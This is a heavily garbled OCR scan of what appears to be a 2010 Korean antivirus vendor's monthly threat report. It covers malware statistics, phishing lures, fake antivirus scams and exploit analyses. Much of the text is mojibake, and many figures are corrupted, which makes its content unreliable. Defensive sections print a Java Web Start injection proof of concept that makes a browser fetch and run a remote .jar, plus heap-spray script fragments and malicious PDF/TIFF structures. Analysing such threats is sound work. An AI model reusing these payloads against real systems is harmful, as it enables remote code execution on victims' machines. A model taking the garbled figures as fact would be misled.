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- Textimage/Autorun 443,372 20.3%
2 - Win32/Induc 326,581 14.9%
3 New JS/Agent 145,859 6.7%
4 11 Win32/Parite 132,637 6.1%
5 Tt Win32/Olala.worm 57344 106,425 49%
6 1 Win32/Conficker.worm.Gen 99,850 4.6%
7 12 AL S/Bursted 93,099 413%
8 = Win32/Virut.B 91,5689 42 %
9 Tt Textimage/Sasan 85,310 3.9%
10 I Win32/Virut 83,873 38%
11 11 Win—Trojan/Daonol.Gen 80,287 37%
12 18 Win32/Palevo.worm.Gen 74,729 3.4%
13 = Textimage/Viking 70,658 32%
14 New JS/Cosmu 50,189 27%
15 15 Win32/Traxg.worm.61440 58,076 27 %
16 - Win32/Autorun.worm 57,712 26%
17 New Win—Adware/KorAd. 1594880 52,325 24%
18 New Win—Trojan/Downloader. 1134080 44,518 2%
19 New Win—Trojan/Patched AD 1,727 1.9%
20 New Win—AppCare/Hidewin.31232 40,315 1.8%
A 2,188,031 100 %

[E 1-1] 2M3E ZHEET Top 20
2010 40| otMFE 2t HT1= Textimage/Autorun0| 12 x}X|
5t Ao, Win32/Induczt JS/Agent7t 2tZt 2219} 3912 XIX| 51
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1 - Win—Trojan/Agent 675,610 132%
2 - Win—Trojan/Onlinegamehack 571,698 112%
3 = Win—Trojan/Downloader 526,113 10.3%
4 - Textimage/Autorun 443 689 87%
5 = Win32/Induc 326,681 6.4%
6 13 Win32/Autorun.worm 302,183 59%
7 - Win32/Contficker 286,940 5.6%
8 - Win32/Virut 267,357 52%
€) 13 Win-Trojan/OnlineGameHack 257,022 5%
10 New Win—Trojan/Bho 167,331 33%
1 0 Win—Trojan/Dacnol 161,554 32%
12 T Win32/Kido 161,112 31%
13 New JS/Agent 145,861 29%
14 |4 Win32/Palevo 140,616 27%
15 11 Win32/Parite 134,036 26%
16 New Win—Trojan/Killav 129,594 25%
17 New Win—Adware/BHO 121,458 2.4%
18 |2 Win32/Olala 108,160 21%
19 17 Win—Trojan/Genome 95,862 19%

20 |5 Dropper/Onlinegamehack 95,214 19%
2t 5,118,001 100%

[ 1-2] 4&FE EXITE 2D Top 20

2010H 489| ZEH 11 7A4-= Win—Trojan/Agent7| & 675,6107122
Top20% 13.2%2] HIEZ 1YE XIX|5t 2, Win—Trojan/Online—
gamehackO0| 571,698712 2 22|, Win—Trojan/Downloader0| 526,113
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82 EZTt (TROMAN)FIt 46.4%=2 7H& 22 HI8S AHX[StL, & & ANFE Top200|Ct,
(WORM)O| 13.7%, HtO| 2IA(VIRUS)7t 8.5%2| HIES ZtZt RiX[st

olct =9 orgTcHy Fa e Hi=
M .
1 Win—Trojan/Downloader. 1134080 44518 9.7%
ADWARE 2 Win—Trojan/Bho.923136 36,673 8%
APPCARE 3 Win—Trojan/Agent.70144.FG 34,787 7.6%
CLICKER
4 Win—Trojan/Onlinegamehack 64398 28212 6.2%
DOWNLOADER
DROPPER 5 Win—Trojan/Onlinegamehack. 78936 27,064 59%
ETC g 6 Win—Trojan/Bho.7 18336 26,902 59%
BeLom 7 Win-Trojan/Infostealer. 74104 21736 48%
SCRIPT
sPvware | 8 Win=Trojan/Bho. 787456 20,772 45%
TROJAN 454?2% 9 Win—Trojan/Bho.314880 20,595 45%
R e 5,55 10 Win—Trojan/Downloader 2662401 19612 43%
WORM
1 Win—Trojan/Onlinegamehack. 163840 B 19,603 43%
0 5 10 15 20 25 30 35 a0 as 50 X i
12 Win—Trojan/Downloader.65904.8 19,028 42%
=2010, 03 ®2010, 04
i : 13 Win-Spyware/Agent. 2416648 18,709 41%
[0 1-2] ONFE S Zele D MY Hln "Somanlie '
14 Win—Trojan/Pwstealer.71096 18,596 41%
15 Win—Trojan/Downloader.266240.H 18,439 A%
o O 5{tH [=X=N JE=1 o
OtMAL QoY AT HIES ME H|wstH, EZT =Y 16 Win-Trojan/Kilav.59392.C 17664 39%
(ADWARE), C2ZH(DOWNLOADER), AILIO|Y|0{(SPYWARE)Zt & 17 Win—Trojan/Downloader.791552.D 16,695 36%
18 Win—Trojan/Agent. 106496.QU 16,584 36%
ofl HIsH ZS7IMIE 20| U= EHH &, HIo[A, AEE'E(SCRlPT)
19 Win—Trojan/Banker.385008 16,331 3.6%
= R)= X< sH ZtA St 72 &2 A O] I —
=H(DROPPER)= &0 Hlsh L4 ot A5 = = UCh OHZA(AP 20 Win—Trojan/Keylogger.65912 15,002 33%
PCARE)HIEE2 ME &2 |XIGIICE 457522 100%
[ 1-3] AE otdTE ZHEE T Top 20
14,000,000 o
11,718.469 40| NZE otMAE 2t H19| Top 202 Win—Trojan/Downloader.
12.000.500 10,300,965
con 11340807} 44,5187122 HA| 9.7%Z RIXIStH 1912 XIX[StHSH,
- Win—Trojan/Bho. 9231367} 36,67371 2915 AIX[SIRICE,
000, N
6,000,000 7,578,804
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2,000,000
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2010. 02 2010. 03 2010. 04 l G Adware
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b * Malware Creates two files

cwindows®system32Wdriversi¥peidump.sys
ciffprogram filewindows media player®mpvps.dil

(23] 1-5] FI2FR0| k= PDF 24 A% 2

Windows Mobile Q0| S&tste AT E ZLHEHA Fo|H

ZUoM |IER ZHIY A (5.0, 6.1, 6.5H7T) 0ol SZi5H= ADE
I ol FE0I WinCE/TredDial.a (Y 3D Antiterrorist) 7t 2474, 211 &

ALt oig AGTEE AY HE2|A 0180 28 o] A =RACE 5H

=20 =
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Dear Customer,

This e—mail was send by *E=H|21* to notify you that we have tempo—
ranly prevented access to your account,

We have reasons to believe that your account may have been ac—
cessed by someone else. Please run attached file and Follow in—
structions

(C) *=mier

=2 oE
H=E “ahnlab.com account notification”

A gLk EH%! HY o= HFmio|
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o= AW HYo| S0
ZStE0] AL =2 URL &3
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S A 7|2 MS 20t HOI0|E 7121 2009, 04~ 2010. 04
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N

2 1
' I
49 58 6% 7 =] o¢ 108 11g 128 1€ 2g 32 49

(22 1-9] 32 tid 71& E MS = Hr0lE

=L Fokd

£2 Microsoft Visio?] $|UEo2 Q15 247 I= My ZHE (980094) 2

72  Windows Media Player®| 3[2fHo2 Ol {17 3= M3 2HF (979402) B

51 Microsoft MPEG Layer—3 J=io] Holgoz ot A 3=« 2xd o

== (977816) v

o= Microsoft Windows Media Services®] F|tEo= Q15 |17 IS A3 Zx| o

=) (980858) -

= Microsoft Exchange 3 Windows SMTP ME|AS] FotHoz OIgh Mu|A 7

2 =}

= 2X|F(981832)
- Microsoft Office Publisher®| Fofdez oI5t 8 3= 43 2XIE
B2 =
(981160)

82 VBScript ASRE QEle| FopEoz QIsh 2z F= M3 2HH (981169) R

=2  Windows 79| F|oFEOR QISH A As 2RIE (979683) )

I8 SvB 22o[¢EQ| FokEez QIEt #7 F= H# M (980232) L)

ZIZ2  Windows®| 3[2fEo2 oIt ¥z F= M3 2H[F(981210) =

[® 1-4] 2010 4& F2 MS Eot HH|0|E

Ol Holli= K|t Lo WHE 22A=CH B egg 11249] 7} ¢
Tk E3] MS10-0222 Rltet PoCE WHEIUD, 2IEL oA
S0l A VBScriptE S8t Windows Help It Aldl 10| A Ealish= A
8 JKs3t ZE F|EoICh ARBADE F1” 712 Sshl =B, ool
Moz ZXIME ZZXIQ| mb0| winhlp 32.exeE SaiA] AldzHA ¢
olo| HHS T 4 | ECh ARl 4 Mol A= 2N
YAAH] SMB E= WedDavE A8 4= QUCH ESH help mHof &
2El= m2t0|E Q] Zo|7t X|ILIXIA| 71 4%, I LHEESR FAFS
2 2MS] QIEU 2AEZ2{e| Fafi4|(Crash)7t LMsks FARE
EXoto] AFEXIe| =27t =it

_
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(22 1-12]2 2 HsIADI} LS YAOIESHM ONTEE 9B
A

IS FFESO| 3 A2, MS06-014FI24EES AL

25t otMIC Syt 74E To| EIX|E(QiT O CH2OE MS10-002%
OFES ARZSH Al 7F HUT

Als2|E| Ol

Java JRE deploytk.dll ActiveX Control Multiple BOF F|2fX

0|H EE(Volume)dl M= Java JREOIA] LAiGH= BOFF|2F&0l| CHa &
OHEXE,

9| HEHAEO|CH Web Start 01Z2|70]440] 2t YE = Java Network
Launching Protocol(JNLP) It LHof| XZ&=|H, C|S

oF 7| ¥ Ec.

Java(TM) Web Start 1.6.0_18

Oracle Java Web Start2 Java 2 Runtime Environment (JRE)

E=Z Javaws Utility

\!‘) ABH:  javaws [LE-Z 4] <jnip-file>
javaws [AAEE-ZH]

Oi71M & -S40= CH80] FEHEILICEH
-verbose ZJr 8 B Al oz
-offline QLI D2 FR T )6 Ml
_><VStem AZE HAHMOE =SS T2 15 uil
=-xXnosplash AlTEZI HA] S10] LgH
=J<option> vmH S8 H=
=wiait java Z=2M 2 AE R E5 HI

[l 1-13] Javaws Utility2] command line It2t0|E]

(inlp—file) m2t0|E{ofl= URLO| ZxH5t, 0|F “~J(option)”  Ja—
vaws?} Virtual Machine0l S42 MBsk= A2 5128l &L, Virtual
Machined| M8 = S8 & “—jarm SN2 Virtual Machine0| Java
UECRMWRIEAER %U\lE_I Java Archive file(JAR)E 0188 4 U
A XIAIBHE, Oracle Java Web Start= AFSXEZH INLP IHUQ| URLS
050} 159| ojZalAlolMS MR[stT AIRHE 4 UEE Java
St A WS MESsH ZCt Oracle2 WHXS0| Client Machined|
K o] Bei 4st 4 U

Toolkit” 0|2t E2= NPAPIQ} ActiveX7 &2 S/H3IRLCE 0] 71&S A
Zsle 2tolE2{2|2E joliexp.dl, npip2.dll, npdeploytk.dil, deployt.
diio] ict.

“Java Plugin” 2} “Java Deployment

Class ID Java Technology

CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBADeployment Kit Control

8ADIC840-044E-11D1-B3E9-00805F499D93  Java Plugin Control
[ 1-14] Start H{Z2|7|0]M A= 2J5H 0| E= ActiveX object(IE)

Web Start 0122|7081t HRE F et of2fiet 2.

« launch - Launches JNLP application using the plugin if available.

- launchWebStartApplication(jnlp) - Launches the JNLP application speci-

fied by the jnlp file parameter.
[3& 1-15] Web Start ({22|#|0| M1t

5 ot

i

Ol2f= Internet Explorer0fl A sHE FAUFHS 0|25H=

LB LiEolct,

Pocel YsEs

var u ="http: -J-jar -J\\\Dooexoaxoaso.com\\xxxx.jar none”;
if (window.navigatorappName =="Microsoft Internet Explorer”) {
var o = document.createElement(“OBJECT");

o.classid ="“clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA”;

o.launch(u);

(23 1-16] alig FUHS 0I8dh=

Oracle Java Web StartL{oll= command line Injection F[2f&0| ZxHst
Ct O] F[UHE Java Web Start A|Zt&t
Deployment Toolkit” Off 2I5H JNLP HIERT H=Zo| XMAESH Q22 A
2010] Ech AHMo 2 UBHA Web Start 01Z2|#(0]

“Java Deployment Toolkit”

“Java Plugin® 2} “Java

BotX| =8t Ao| &

Zt517| #ah
08¢ mf, URL d27} SHIZ HIERA 2|AAE Jf2|7|=X| EHECS
20t SISt UH 2o 2 ZHIE URLO|ZHH Javaws Command—
line UtilityS AZSICE URLLHOI “—J" 2XE7t FAIZ0] JUSH, Web

EHESt command line TF2HI|ES

M2 Al “Java Plugin® 2}

Start deployment technology=

Javaws Utility=2 ZESiCt,

Of2i= version 6.0.180.72] deploytk.dil TF LY F|oFst A= Eo|Ct,

1000B8AF 8D45E4  LEA EAX,DWORD PTR SS:[EBP-1C]
1000B8B2 50 PUSH EAX

1000B8B3 8D45A0  LEA EAX,DWORD PTR SS:[EBP-60]
1000B8B6 50 PUSH EAX

1000B8B7 53 PUSH EBX

1000B8B8 53 PUSH EBX

1000B8B9 53 PUSH EBX

1000B8BA 53 PUSH EBX

1000B8BB 53 PUSH EBX

1000B8BC 53 PUSH EBX

1000B8BD 56 PUSH ESI

1000B8BE 8D85 9CFEFFFF LEA EAX,DWORD PTR SS:[EBP-164]
1000B8C4 50 PUSH EAX

1000B8C5 (C745 A0 4400000>MOV DWORD PTR SS:[EBP-60],44
1000B8CC  FF15 58210210 CALL DWORD PTR DS:[<&KERNEL32.
CreateProc>;kernel32.CreateProcessA

[22 1-17] deploytk.dll TH LY F[2k5H &

I
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Of= Kemel32. CreateProcessAS 2 Al siig QI 2ol i 3, ¢l HOt S&F
golct.

ModuleFileName ="C:\Program Files\Java\jre6\bin\javaws.exe”
2 Afo|E 2ot 20
CommandLine =""C:\Program Files\Java\jre6\bin\javaws.exe”
http: -J-jar -J\\XXX.XXXXXXXXX.Com\xxxx.jar none” — — OIMTLC HIZA AL
ProcessSecurity = NULL = =Tr
prie ity =NU N 111,045710|12, 2N
pThreadSecurity = NULL otdac gd 2+ 111,045 S —
T ==t = S o
InheritHandles = FALSE ;ljii szm el 926 me
IS EAE =02 1,028 otMT EISZ]
CreationFlags =0 x o, ogmerh g
otdac UAE URL 3898 - ole 10087
pEnvironment = NULL Mo otMTE WA 74 202910 = Q2 1,028
CurrentDir = NULL Moot aC 98 1.046 0|, AMTE Y7
pStartuplnfo = 01E6F4FC et otMI T YWAHE o2l 959 URLE 3,808 7o|Ct,
Mgt ot A ghAE ) °
. ] ._ch_i E’o URL 4,594 20104 4812 20104
[221 1-18] Kernel32.CreateProcessAZ =gt HA| S QXL 2t [E 1-5] &l AJO|E HQt @oF

deploytk.dilOiA] Kernel32, CreateProcessA &42 S&8 Mff QIXfE2 714, UMIE K&, AMTFE SUAE URL 2 CHA ZHASIFOLE by
" C:WProg ram FilesWJavaire6Wbinjavaws.exe” http: —J— IZE=
jar —J WHABOXKX, Xxoaooox.com Wik jar none” 20| S0 7HHA |

OFHZ 0|83t r4TET} MHEL

Javaws “=J" I}20EE Virtual Machine T2I0|Ef  “—jar” 2t &7
HAZGH0] AFR5HH, ZZXH= M|5HEl Java Security Sandbox BI0{L}, 21 <0000

ol9] Java CodeS 21015 At TStOR Matst 4 Qict g8 ™™ N
A

394,232

= < 300,000
24X}z OFo[EOl HTML DocumentE ZHS0] Ltk AIRXIZE 24 UEE i \
235101 0] FOHHS 0|2 & rt, 200000

SiH= o 202910~~~
: 111,045
100,000 \

50,000

gamehack. 100931 °

=I5 AO|E Case Study: BHAIYIES ZZ5t= Win-Trojan/Online

2010, 02 2010, 03 2010, 04
i [23 1-20] 24 AMHTE 9A AL
ZU A AIO|EO| ESHAIDZ} LHAEHY Win—Trojan/Onlinegame—
hack. 1009317} RZ &2 A2 EHX[sI¥ =0 ZBHCZ CIREE &
= m.exeZ} AEE| M %SYSTEM%Wsoftqq[ M= XHdII0| WA EICE, Al

JE DLL2 T HOMHIZ S| s £gAAM SAS 27HssAl 2

2010 48 AHYTE YA A HHO| 202,9102401 HISH 55% &

Q1'111,045740|Ct,

E= AVKiller O]|Ct, Y otMTAE 9Y
1,060 1,046
. 1,040 ~ N
http A = *game.com.., e NG
1,020
1.000 \
- hittpyf211 *** 217 *** flkasp., 080 N\
960 \
—--= httpo s *** net/**** m exe., 90 \\
/ %20 926
(322 1-19] Win—Trojan/Onlinegamehack.10092| S EH| 900
880
860
13|J—|_ DLL% %g A|'0|EE—'?—E'I 7.||0E!3_||-| 0—!‘%:-,'_?_5% EI"S‘EE%"-T’- )élsoH 2010. 02 2010.03 2010. 04

At

[O2 1-21] &¥ oAMHTE 25
STt watA 0f2{3t otTIEL R
S Bs3 A|7|DE ZiHst Zo|yt WRSIT _
S TSt AZIRR zst Folvh BRSICL 2010\ 4% OIMTE SIS FITto| 1.046740] HIH 89% 229! 926

ojct.

MISOIA 7Hs Q13 0|5 OFRiAetqA o7



1,028

1,020
1,000 /

980 975 /

960 \/

959
040
920
2010. 02 2010, 03 2010, 04

[O2 1-22] 2 YA LAE Zoel

2010 48 AGAST LAE =02 HEC| 959740] HIsH 107%

£&011,028740|ch

1o

& opyT =T} IS URL

5.000 594
5,000

4,000

3,000 \

3,023

2,000

1,000

2010. 02 2010.03

(33 1-23] ge ANTF =T} BzdE URL

2010. 04

2010 48 AHAETH LAE URLE M2 45947101 HIsH 85% 4=
=01 3,023740|ct,

opyTE QY HE 4

+d e Hi=
ADWARE 67,689 61%
TROJAN 11,534 10.4%
DROPPER 6,017 54 %
DOWNLOADER 3.417 31%
Win32/VIRUT 2,292 21%
WIN-CLICKER 1,456 1.3%
JOKE 1,356 12%
APPCARE 620 0.6 %
SPYWARE 431 0.4%
ETC 16,233 14.6 %
111,045 100 %

(& 1-6] o7 R W= 4

80.000

70.000 67,689

60.000

50,000

40,000

30,000

20000
16,233
11,534

10,000

6,017

620 1,456 431 1,356
—

Adware  Trgen  Dosnloeder WMt Droppsr Appcae WinCider Spyware Joke ETC

(72! 1-24] YT ST T 4

otMAE S5 HIE 4=0f| A OHEYIO{(ADWARE)E7} 67,68971 K2
B1%2 122 XX|5IF M, EEZHTROJIAN)ZI} 11 5347122 K|
10.4%2 2¥E AIX[oIRALCH.

otMIAE HYZ Top 10

&9 54 oyzEy ds HE
1 = Win—Adware/Shortcut InlivePlayerActiveX 234 26,859 35.1%
2 New Win—Adware/Juneip.645632 12,301 16.1%
3 (! Win32/Induc 10,105 13.2%
4 New Win—Adware/Juneip.644096 9,412 123%
5 13 Win—Adware/Shortcut.lconJoy.642048 6,998 9.1%
6 New Win—Adware/Shortcut K2Com.Sobang.266240 3,859 5%
7 New Win—Adware/Shortcut, Tickethom. 36864 1,862 2.4%
8 New Dropper/Onlinegamehack.22016 1,758 23%
9 New Textimage/Viking 1,752 23%
10 New Win—Downloader/Zango.320272 1,701 22%
76,607 100 %
[E 1-7]) 2MTE HYZ Top 10
OFMAE  HHE  Top100IA  Win—Adware/Shortcut.InlivePlayerAc—

tiveX.2340] 26,85971C 2 12IE AIX[SIH2H, Top100{ Win—Adware/
Juneip. 6456325 7710| MZ SZSICE,

¢ =20t ol
facebook IHA = Z|Al SiCH= ATH [
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A HIZHS S 25MERNE JHH22 HlRICE W82 M, B2
AZXEAH 542 FUCL' X TolA SoIME HH £X| 52 2
of thS UEES Holx AUCt of2fet Lol LYt Hot || RU=d,
0 A4 O0IZ5t04 HO|ASOIM E&et WA 7HsHo, 12| oF
= /ol HOIAS HIRHSE HHSIH= SAUHES 71 t o] oy

H 2 : Facebook Password Resel Confirmation! Supporl Message.

Dear user of facebook,

Because of the measures taken to provide salety to our clients, vour password has been changed.
You can find your new password in attached document,

Thanks,

Your Facebook,

(22 1-25] AT 0| 42

AT ol A= ot ofzff 1217 ZH0| Microsoft Office Word it
UO| 00|22 AtEst0 MY AR AMHTFES KIHAAZA Aot

| Facebook_document_Nr9527 exe

(23 1-26] Adm Yol M ot

o
ok

g ol sixf V3XMIE 20X Win—Trojan/Bredolab.48640.B It
2 Y X2t 7ksstH, QoM E A HYS S5l 2=
F=9| HH ALSXIE E5517| 2l6l oot 0] 7Ho|=

HAISHL, M2 &S izt

» LS

o
o

47E0| 93 ©

uu 12 of

Al)yZzzioz

32 AjZto2 48 212 0|2 2Ot HUH|QI ohotm|(McAfee)OI A &AL €
E2 (Win dows) AJAE! IHIOI sychost.exeZS W32/Wecorl.a 27
E2 &2 FIot 5h= 27F|(False Positive) A7t SHAMSHACE 0]2{5t
Z510] 72(Google) ZA AITIONA LA 22

REE] &gsroq oNTCE RESs Y AO|ER YRE AIBKISS

IlIIHJ 12

EO(Search Engine Optimization) 7|#H&

FEE M=t AlR7F AU 0] Holl 722 A
ITIS Soll RZE 519 L2 oth ojo|x|ofAfet Z0] OftH eHotm

_|I_

1.http://www.boannews.com/media/view.asp?idx=20621&kind=0

O QT Atnet HE HOISS HMSH 2 B0 UAHIES 7=t
= H AIES M 3 i H0|X|2 HXISH0 HFE AEXES ¥
22 FESIRIC

=
2]
(1

C’OUS le [sTop w32mecor] 2
© gy O3 8

HHl 8 MEMEF EI|.

| ! AT meafee - [ 0f D0 #EE17] ]
STOP Vlrus Ou‘tbrnak waz/wecurl BAD DAT mcafee qualocﬂy 1B videos. Subscribe Edit
Subscription. Loading. ... iqvelocity — april 21, 2010 — outbreak w32 wecor BAD DAT mcafee DAT 5357
5958 ...

wiww, youtube, com/watch Tv=OxSEWV o Efeature.,. - 1TAIZFTH

W32 Wecorl.a hcafee - [ 0] HO|7| 2= ]
Feople Gel Ready Chords and Lyrcs: "w32 wecorl a” (page 1, video results 1 - 200, Sort by Date -
STOP Virus Outbreak w32/wecorl BAD DAT mecafes. outhreak waZ/wecorl BAD DAT moafes DAT
5957, ...
.com/CHme. =w32%20wecorl.. - 1441 2HH
W32 Wecorl.a Meatee - [ 0] 5017 5517 ]
Dcom Server Process Launcher Terminated Unexpectedly Vista “w32 wecon a* (page 1, video results 1
- 20). Sont by Date - STOP Virus Quibreak w32/wecorl BAD DAT moatee, outbreak wi2/wecorl ...
SO, w32 20wecor. a%a0mcatee - 1TAIZET

STOP Virus Outbreak w32/wecorl BAD DAT meoates - Sscurity Software m] AhnLabl
21 Apr2010... STOP Virus OQutbreak w32/wecorl BAD DAT meafee, al Securiy aunwars, =

(28] 1-27] 72 2 Zto| MEHol %[5t otolxiol WAolES

ofzf ojojx|et Zo| du FS &
=7t dEEitE AN HE2E 2o

hitp: /[ www?,

Warning! Your computer is at sk of malware attacks,

e recommend you to check %uur system
immeadiately, Press QK to start the process now

A AhnLab

(23 1-28] A4NTE0) UYEIUCID

ECi=E

=l i?_'% S=Iot| =/ of2f o[0|X|2t Z0| 5192 HMEE HA
ZISHE|H AI23EH= A|AE0| AZist otk F =T} ZH

[= e e N

Z0] U= AS 20T MEXS0IA AN YESS 20T 2k

AhnLab Online Security 2.0

MMM b Orist o8 QFRISTA 09



B B L L L B P P L R e B e et

5, ok System folders
s P
View system ifarmaticn | shared Douments L;] Wy Documents
1L Add or remave programs
B change a seitings Hard drive
e @ Hard drive (C:)
S vty Network Places Security

12ty Diocuments
'3 Shared Documents
B control Pansl

@ Windows Sacuiity
38% 1

Checking: C: ... lLacalService ocal Settings Temparary Intemet Fiestiespftedl

@ WARNING |

Marne Tvpe Threat lewvel
¥ Trojan.FakeAvigenl6 Virus. Hedium
9 Backdoor. Tidsery vinis High
Recommend: Click “Start Frotection” butben to erase al threats Start Protection
(22 1-20] TRE Z0kS HOIZFE 59 wAlo| A 2}
AtEste ZFE2| A 2t S=E|H of2f 0|0[X|et 22 1 FS

ox

[ Ry |
AARIOIA AFEStE Fa T explorer.exe?t 2t
o

X|=Z5t040F BIThE AHK! HIAIXIZ ZHFE A}

0f0

Windows Security Center

@ Threat detected!

Programn C:\Program Files\Windowshexplorer. exe - Troajn.awF

This application is infectad and must be cured or deleted for
best protection of your PC.

Please click "Protect” button to rake yvour systern safe.

A AhnLab Bgtecs

[ 1-30] Ha miUs AMTAEZ TITEI0] ALK 519 ZHE M3

2 ojo|x|el  “Protect” HEZS 225t ZIH setup_build30 _195.
exe(353,280 HIO| E)o| mAUS CIREE o0 M3 & AS |Estn
QUC} T2l AXIE siY IS CH2EE stod AdlstAl =/H olo|x|of
Aot Z0| sHRloIA RIZHE 519 BiAI0] AJARIOIA] MX|Z|H, AIAE O
EMsts Fet IAS0| AddT=0| 2 HA AM ANE &

oiF0 2T ZHME RSt

=l 7oz

.__

AhnLab SiteGuard Pro

014 prenoais geuY

AhnLab
SiteGuard Pro

4 8 Gy e,
Atoimric>) Sum aeRug,

B R

SiteGuard ¢
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N
o
(@}
<
_IE
II
HH>|'
ro:
ol
N
=
Bt
roh

t Adobe Acrobat Reader Fof& =, 2™

200831t 20098 S HX|HA 24H

720]| B H = Adobe Reader,
and Flash Player Remote Code Execution(CVE—2009-1862) F|
= 7|l EXL oy FAE2 S2HAl Z20]0] Holl Exfish= FU4H
O|X|2t, F|okSt ZafA| ATI0| Adobe Acrobat Reader A0 EFAHE|0]
RU0f L CHE PDF oz 1 F|QICh mkM, stitel 2felxol &
2 Al(Flash) TheES PDF M £0i A R(Embedded) AIZ2ZM g
Of OfL|2} PDF IS 0|8¢t Chs 34k 7ksEt xH0|U= AIACH

Acrobat

|OFI‘I
=]

o ZiEollA CHR1IXt sh= CVE-2010-0188 FUA' E5t 0|2t 7
Abeh A2t g 4 QUCH TpA, 20060 LHEE LibTIFF TiffFetch—
ShortPair Remote Buffer Overflow (CVE—2006—3459) F+MS X 7|
iPhone= Jailbreak 5t7| 218t 82 AL O SHSICH SHE F
He 2E AA ztol=2{2]Ql libtiff 3.8.1 0|5tolA EXist=HI, sHE 2t
0|E2{2]|7} Adobe Reader 9.3.0 0[5} H{F0|| = EFRIZ|HA] & SHLIS|
PDF £[oF™0| EFME|RACE olO] EXHHE F|eFst TIFF(Tag Image File
Format) TtYS PDF miAof Al(embedded) Al7[= HHOZ PDFE
S8 3240 7tssHAl =L O|XME otLte] FtES Sl TSl off
E2/7i|0|80l FE2S OIxl= Al2IS0] B35 LrAEof wet E AA 2t
0|E22|E A8t LT Sty 3 7|SSEs fleiM SYst TS &
iete 8% %%'3._* AT EAE Thsdol ishA 2Hals 7HE Z2e
Malware Protection Center 2271

£ SoliA =to| 7] AESIRT, AMZE 71Ee| mh7 (gt Z

74
74
K2 M2lSed SAYHO! E-Mailo R0 ez Fot

AhnlLab TrusGuard DPX

1.http://www.adobe.com/support/security/bulletins/apsb 10-07.html

J/‘\ FEEE e I BT
= T L
a J a x ") Move to Folder - | B Block Sender g Y » 3 gﬁl|
[ Create Rule @3 safe Lists - ol !
Reply Reply Forward —Delete ) Cﬂltqwnzc Follow Markas | Find Sendto
to All ] OtherAdtions = || [\ tat dunk Up- Unread | - | OneMote
Respond Actions Junk E-mall Options = Onebote |
From: SASRENA [sabrenas6 @yahoa.com.tw] Sent:  Tue 3/9/2010 5:28 P
Ta: Gsaishu.edy
Cc
Subject: formal invitation letter

~iMessage | T invitationpof (221 KB)

attached is the copy of the formal invitation letter and respense card.
Meanwhile We have send you the formal invitation letter by post

according to your comrespondence address. Please check vour mailbox in the
next few days.

=il

Sincerely yours
Wang Xizoxue

(22 2-1] #|oEg L= 5t POF mS Mtsh= oM Y(E : Crontab)
O3, 24522 CVE-2010-0188 FAU®Z 0|&st= 24 PDF ot
off thallM = M SHEXL siE ZEoME 7|8t SZ9| EZS 1
otod, S& 20l %M FX(Static) BMS 3H AlLI2|RE 0I=5taL
SX|(Dynamic) 24E Sall 012 BBl 2= YAz TSI} it

H=(Static) EM517]

b1 o4 PDF U2 A of2s wHtlozs 5525 oAy &
Xl g2 Lol RIBIASRIE SXIAS WS 4 UUCt T2, 22
Z-

0

b
M2t MO Z THEXOZ A}

EZ H0|ESS S0IM LR A

Rl
It
jini
0
i
Ol
==
0
~
o
In
—.— ~ H—]
roh
_iT'_

S O M5 2HEEE SHAL

LunsL LU L JAWHEL  —CC FLUL | vEL

< ) Cver =" A Ahnlab

function rep(_ .

- £
'
] ‘l WAr so= [

- L

function wuu(){ J

(209050909090 9090EES05EL ]

r'_“f = rep(128, [ (M42424242424242424243 ™)
" = SR —
'\‘_2 ¢ 0= [ ("OcOcOeOc™)) ;|
1 =20+ [ el]l:
while ([ O _cl]&lt.:_l] _0+=_0: g

2 = _O[™MyxT3A TV RE2YRTIVHT xT2\ x62 nEe X6 (0,
3= _O[™Mix73VxTEYRE2Y k73 74V xT2\x69\ x6eh x67"] (0,
while{ 3[ e1] + _1g&lt;0x80000) 3 = 3+ 3+ 2;
_4= new Array():,
for(i=0:;iglt;=192:i=i+1)
Fil

_4[1i] =3 +:4

wvalue. image .. href = "exploit.tif

(23 2-2] LH% XiHASRE

MMM 71 OFFISH 0|2 QAT A 11



olie PDF mf Qtoll= flot 22 XHIAIZEET USE AET H|0JE
2 57 A1, o= 71Z2| & S2{1t PDF WA SHM XI5 ALE

Sh= Heap—Spray 7182 AtE3tL QT

-

TS +@ AN i B

bal
i)
A
|o
Hu
i
JS
D_L
o o
o
0=
>
ﬁ
rir
®
x
o
<_3
E_
ne
a
ol
i
]
o

rexfaidata,

><topwostIubiorm, |

reImageFieldl xfa:contentType="image/cif" href="" |

>SUkgADGFAACORI CORJICQEICQRI COkICOkIC QI CORICQKICQkICOkICOkICOkICORICQRICQRICO
RJCQRICQRICQRI CQRICQRICQR] C ORI CORICQURI C ORI CQRICQRIC ORI CQRICQRIC QkJCQkJCQkJC Q M
Jed CQeJ CQRIC QI C QeI CORICQld C Ok J CQlICQIkI C Ok I CORICQRIC QI CORICOk ™
I C QI CQRICQNI C QT CQRICYRI C QT COkICQkIC ORI Ok ICORI CORICARICOR Ah Ah n Lab

[T~ 2-3] Y=ahH|

20 00 DO 90 90 90 20 S0 20 20 20 30 90 20
20 90 90 90 90 90 %0 20 S0 90 20 90 20 90 90
a0 G0 40 a0 90 90 G0 @0 S0 90 90 90 40 a0 G0

=
o
=p=}
oo
@ o
oo

9090 9090 90 90 90 90 90 %0 S0 90 S0 90 @0 90 90 90«

4n @A Of OA 0RO O 0N @n Gn GR Gn GA 90 Gn G0 an an

[a2! 2-4] Baseb4C|2Y

23, TIFF 1jo)

= struct IFH i Oh &h
& char bem[2] I Oh 2h
uint16 magic 42 2h h
winm32 offset 203 &h ah

= struct IFD #d T: ImageWidth 2035 58h
uint16 numentries 1 20%h h

& stuct ENT dir{0] Image'Width (256): eSHORT 2034h Ch

# stuct ENT dir(1] ImageLength (257): eSHORT 2n46h Ch

& stuct ENT dir[2] Compression (258): eSHORT 2062 Ch

& stuct ENT dirl 3] Photometicinterpretation (262): eSHORT 205Eh Ch

- struct ENT dir[4] StripOfisets (273): eLONG 208&h Ch

m TAG tag
enum TAGTYPE yp

QSHDRT 3 2084h 2
uint32 count 100 2088h ah
uint32 otfset 2050 anaAR -
@ uintl6 value [ 100] Ah h b
uim32 offsot oh A n La

uzun: -« OO
0AOh: [
OBQh: &
0COh: &
ODOh: |&
OEOh: |8
OFOh: |8
100h:
110h:
120h: (g
130h: [
140h: |d

[3a2! 2-5] exploit tif LIETZE

AH| exploit fifIfHe| LiRol= A

9| H2lo| =IAH

gt CVE-2006—-3459 F|2Hd
DotRange(Tag ID: 0x0150) Ei17} ZX{5HH, Do—
